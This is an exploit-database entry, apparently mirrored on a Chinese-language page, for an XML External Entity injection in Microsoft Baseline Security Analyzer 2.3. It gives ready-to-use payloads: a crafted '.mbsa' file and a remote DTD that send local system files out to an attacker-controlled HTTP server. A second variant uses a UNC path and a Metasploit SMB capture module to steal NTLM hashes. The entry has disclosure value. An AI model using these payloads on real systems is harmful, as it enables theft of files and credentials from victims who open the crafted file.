Microsoft Baseline Security Analyzer 2.3 – XML External Entity Injection

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• 作者： hyp3rlinx
  日期： 2018-09-10
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45354/

• # Title: Microsoft Baseline Security Analyzer 2.3 - XML External Entity Injection
  # Date: 2018-09-08
  # Author: John Page (aka hyp3rlinx)
  # Vendor: Microsoft
  # Software link: https://www.microsoft.com/en-us/download/details.aspx?id=7558
  # Software Version: 2.3
  # References: ZDI-CAN-6307
  # References: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-BASELINE-ANALYZER-v2.3-XML-INJECTION.txt
  # References: hyp3rlinx.altervista.org
  
  # Security Issue
  # Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker 
  # controlled server if a user opens a specially crafted ".mbsa" file.
  
  # Exploit/POC
  
  # Install MBSA
  # https://www.microsoft.com/en-us/download/details.aspx?id=7558
  
  # 1) "evil.mbsa"
  
  <?xml version="1.0"?>
  <!DOCTYPE fileppe_fingerz [ 
  <!ENTITY % file SYSTEM "C:\Windows\system.ini">
  <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
  %dtd;]>
  <pwn>&send;</pwn>
  
  # 2) "payload.dtd"
  
  <?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
  %all;
  
  # When victim attempts open file they get prompted "Do you want to let this app 
  # make changes to your device?" However, it also indicates it is a "verified publisher" namely Microsoft. 
  # After opening the local users files can be exfiltrated to a remote server.
  # Moreover, we can use this to steal NTLM hashes.
  
  # Using Forced Authentication to steal NTLM hashes
  
  # 2) msf > use auxiliary/server/capture/smb
  # msf auxiliary(smb) > exploit -j
  
  "evil.mbsa"
  
  <?xml version="1.0"?>
  <!DOCTYPE fileppe_fingerz [ 
  <!ENTITY % dtd SYSTEM "\\192.168.114.153\unknwonfilez">
  %dtd;]>
  
  # Result: credentials captured by remote sever
  

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